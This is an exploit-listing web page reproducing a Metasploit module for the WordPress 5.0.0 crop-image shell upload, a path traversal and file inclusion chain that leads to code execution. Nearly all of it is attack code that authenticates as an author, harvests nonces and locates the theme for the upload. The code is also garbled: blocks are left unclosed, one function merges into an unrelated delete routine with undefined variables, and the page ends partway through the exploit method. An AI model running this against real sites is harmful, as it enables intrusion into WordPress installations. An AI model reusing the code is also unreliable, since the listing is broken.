Exploits / Vulnerability Discovered : 2019-04-05 |
Type : remote |
Platform : php
This exploit / vulnerability Wordpress core 5.0.0 cropimage shell upload (metasploit) is for educational purposes only and if it is used you will do on your own risk!
[+] Code ...
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::FileDropper
include Msf::Exploit::Remote::HTTP::Wordpress
def initialize(info = {})
super(update_info(
info,
'Name' => 'WordPress Crop-image Shell Upload',
'Description' => %q{
This module exploits a path traversal and a local file inclusion
vulnerability on WordPress versions 5.0.0 and <= 4.9.8.
The crop-image function allows a user, with at least author privileges,
to resize an image and perform a path traversal by changing the _wp_attached_file
reference during the upload. The second part of the exploit will include
this image in the current theme by changing the _wp_page_template attribute
when creating a post.
register_options(
[
OptString.new('USERNAME', [true, 'The WordPress username to authenticate with']),
OptString.new('PASSWORD', [true, 'The WordPress password to authenticate with'])
])
end
def check
cookie = wordpress_login(username, password)
if cookie.nil?
store_valid_credential(user: username, private: password, proof: cookie)
return CheckCode::Safe
end
CheckCode::Appears
end
def username
datastore['USERNAME']
end
def password
datastore['PASSWORD']
end
def get_wpnonce(cookie)
uri = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'media-new.php')
res = send_request_cgi(
'method' => 'GET',
'uri' => uri,
'cookie' => cookie
)
if res && res.code == 200 && res.body && !res.body.empty?
res.get_hidden_inputs.first["_wpnonce"]
end
end
def get_wpnonce2(image_id, cookie)
uri = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'post.php')
res = send_request_cgi(
'method' => 'GET',
'uri' => uri,
'cookie' => cookie,
'vars_get' => {
'post' => image_id,
'action' => "edit"
}
)
if res && res.code == 200 && res.body && !res.body.empty?
tmp = res.get_hidden_inputs
wpnonce2 = tmp[1].first[1]
end
end
def get_current_theme
uri = normalize_uri(datastore['TARGETURI'])
res = send_request_cgi!(
'method' => 'GET',
'uri' => uri
)
fail_with(Failure::NotFound, 'Failed to access Wordpress page to retrieve theme.') unless res && res.code == 200 && res.body && !res.body.empty?
theme = res.body.scan(/\/wp-content\/themes\/(\w+)\//).flatten.first
fail_with(Failure::NotFound, 'Failed to retrieve theme') unless theme
theme
end
def get_ajaxnonce(cookie)
uri = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'admin-ajax.php')
res = send_request_cgi(
'method' => 'POST',
'uri' => uri,
'cookie' => cookie,
'vars_post' => {
'action' => 'query-attachments',
'post_id' => '0',
'query[item]' => '43',
'query[orderby]' => 'date',
'query[order]' => 'DESC',
'query[posts_per_page]' => '40',
'query[paged]' => '1'
}
)
fail_with(Failure::NotFound, 'Unable to reach page to retrieve the ajax nonce') unless res && res.code == 200 && res.body && !res.body.empty?
a_nonce = res.body.scan(/"edit":"(\w+)"/).flatten.first
fail_with(Failure::NotFound, 'Unable to retrieve the ajax nonce') unless a_nonce
if res && res.code == 200 && res.body && !res.body.empty?
nonce = res.body.scan(/post=#{post_id}&action=delete&_wpnonce=(\w+)/).flatten.first
fail_with(Failure::NotFound, 'Unable to retrieve nonce') unless nonce
send_request_cgi(
'method' => 'GET',
'uri' => uri2,
'cookie' => cookie,
'vars_get' => {
'post' => post_id,
'action' => 'delete',
'_wpnonce' => nonce
}
)
end
end
end
def exploit
fail_with(Failure::NotFound, 'The target does not appear to be using WordPress') unless wordpress_and_online?
print_status("Authenticating with WordPress using #{username}:#{password}...")
cookie = wordpress_login(username, password)
fail_with(Failure::NoAccess, 'Failed to authenticate with WordPress') if cookie.nil?
print_good("Authenticated with WordPress")
store_valid_credential(user: username, private: password, proof: cookie)